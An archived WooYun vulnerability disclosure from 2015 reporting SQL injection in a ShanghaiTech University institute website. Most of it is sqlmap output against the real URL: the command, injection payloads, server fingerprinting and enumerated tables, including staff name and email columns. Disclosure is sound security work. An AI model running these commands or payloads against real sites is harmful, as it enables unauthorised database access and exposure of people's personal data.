当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0132741

漏洞标题:上海科技大学某研究院网页存在sql注入漏洞,暴露大量教师信息

相关厂商:上海科技大学

漏洞作者: 路人甲

提交时间:2015-08-10 17:00

修复时间:2015-08-15 17:02

公开时间:2015-08-15 17:02

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-10: 细节已通知厂商并且等待厂商处理中
2015-08-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

2.png


3.png


[email protected]:~# sqlmap -u "http://siais.shanghaitech.edu.cn/newsview.asp?id=168" --dbms access
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:43:35
[18:43:35] [INFO] testing connection to the target URL
[18:43:36] [INFO] testing if the target URL is stable. This can take a couple of seconds
[18:43:37] [INFO] target URL is stable
[18:43:37] [INFO] testing if GET parameter 'id' is dynamic
[18:43:38] [INFO] confirming that GET parameter 'id' is dynamic
[18:43:38] [INFO] GET parameter 'id' is dynamic
[18:43:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[18:43:39] [INFO] testing for SQL injection on GET parameter 'id'
[18:43:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:43:41] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[18:43:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:43:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:43:41] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:43:44] [INFO] target URL appears to have 28 columns in query
[18:43:57] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 48 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=168 AND 1775=1775
Type: UNION query
Title: Generic UNION query (NULL) - 28 columns
Payload: id=-6360 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(113)&CHR(109)&CHR(110)&CHR(113)&CHR(75)&CHR(68)&CHR(77)&CHR(118)&CHR(102)&CHR(73)&CHR(115)&CHR(107)&CHR(70)&CHR(81)&CHR(113)&CHR(98)&CHR(105)&CHR(108)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[18:44:03] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[18:44:03] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/siais.shanghaitech.edu.cn'
[*] shutting down at 18:44:03

Database: Microsoft_Access_masterdb
[6 tables]
+--------------+
| article |
| login |
| menu |
| message |
| people |
| product_type |
+--------------+
[18:47:19] [INFO] fetched data l
Database: Microsoft_Access_masterdb
Table: people
[6 columns]
+------------+-------------+
| Column | Type |
+------------+-------------+
| data | non-numeric |
| department | non-numeric |
| email | non-numeric |
| id | numeric |
| name | non-numeric |
| surname | non-numeric |
+------------+-------------+


1.png

漏洞证明:

如上,还没扫完,就不进行下去了,太慢了

修复方案:

过滤参数

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-15 17:02

厂商回复:

最新状态:

暂无